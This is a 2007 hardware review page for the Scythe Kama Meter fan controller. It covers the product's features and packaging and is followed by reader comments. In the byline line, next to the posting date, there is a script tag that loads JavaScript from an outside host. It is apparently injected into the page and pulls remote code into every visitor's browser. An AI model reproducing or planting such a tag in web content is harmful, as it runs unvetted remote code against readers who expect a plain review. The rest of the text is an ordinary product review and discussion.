Scythe Kama Meter Fan Controller

Introduction & Packaging

Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 29/04/2007
Author: Matthew Fogg
Hardware Acquired:
Scythe

Introduction

Today we will be looking at Scythe's top of the line fan controller and multi function bay device - the Kama Meter. Recently Scythe has been releasing some very stellar cooling products for the enthusiast, ranging from high performance CPU heatsinks and GPU coolers to power supplies and innovative input devices. The Kama Meter is no exception to Scythe's commitment to creating a quality product. The Kama Meter carries out 3 basic but essential tasks in one very classy package. This controller has the ability to measure 4 temperature probes, control the speed of 4 fans, and even control your computers volume level. Let's have a look at the Kama Meter and see if it's a worthy component for your rig...

Packaging

The Scythe Kama Meter comes packaged tightly in a very flashy looking box with a lot of feature blurbs which are done in both English and Japanese. On the left side of the box is a list of contents and on the right side of the box is a very brief specifications chart. On the back of the box displays a picture of the controller and outlines some of its features.

Kama Meter Box Front Kama Meter Box Back
Kama Meter Box Specs

Upon opening the box you'll find a custom fit styrofoam insert which houses the controller, face plates, and all of the accessory cables and other goodies. Everything fits nice and snug inside and would be very hard to damage in transit as it should be packed within another box. I particularly like how they seperated all of the face plates individually so that they wouldn't bang into each other and cause any blemishes.

Kama Meter Box Open

In the end I think that Scythe has done a great job with the packaging. As with most other Scythe products the flashy graphics on the box and such tend to be a little cluttered and over the top and it seems to be their signature. But hey, it works well!

Next let's have a look at the specifications for this controller...
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Most Recent Comments

01-05-2007, 09:24:35

PV5150
Looking for a solid and reliable fan controller? Scythe has got it covered...

Linky

01-05-2007, 09:47:19

FragTek
w00tski, thanks for finishing this up for me mate, appreciate it tons!!

01-05-2007, 09:49:37

PV5150
Not a problem mate

01-05-2007, 10:01:20

FarFarAway
Link amended, review made live on live new site

01-05-2007, 10:10:11

PV5150
Thanks Kemp

01-05-2007, 10:20:42

Raging
noice

going to have a nice read on this now as i am looking at getting one myself.

cheers.

01-05-2007, 13:07:44

Pat123
Aye ive got one, does exactly as it says, was well worth the buy, however wont go into my new aurora case due to its tooless design lol..

01-05-2007, 13:40:56

Toxcity
OOoooo! That thing is fooking lovely!

01-05-2007, 18:46:42

PV5150
Quote:
Originally Posted by name='Pat123'
Aye ive got one, does exactly as it says, was well worth the buy, however wont go into my new aurora case due to its tooless design lol..
The plastic clamp things that they have in the 5.25" bays should just pop out mate.

01-05-2007, 18:55:58

macgamesrule
My Tsunami came with some plastic toolless thing to hold the PCI cards... I took it out since the 7800GT was too big for it. Good ol regular screw holes underneath

02-05-2007, 15:25:12

CleanOldMan
Matthew Fogg, would love to see pictures of your water cooled system, no matter how badly it looks.

02-05-2007, 15:31:45

FarFarAway
Check our Rig Gallery then mate - Aquaus is in there

here

17-12-2007, 08:58:05

Mandible
I just bought one of these, ad i am wondering, will it control my arctic cooling freezer pro, as it is a PMW fan. Or will it only control standard fans.

17-12-2007, 09:43:20

llwyd
Quote:
Originally Posted by name='Mandible'
I just bought one of these, ad i am wondering, will it control my arctic cooling freezer pro, as it is a PMW fan. Or will it only control standard fans.
If it uses electricity a fan controller will adjust it

By PMW do you mean PWM? as in pulse width modulation motors? if this is the case you can adjust them through a basic vr, but this will reduce the torque as well and so have a further negative effect on airflow.
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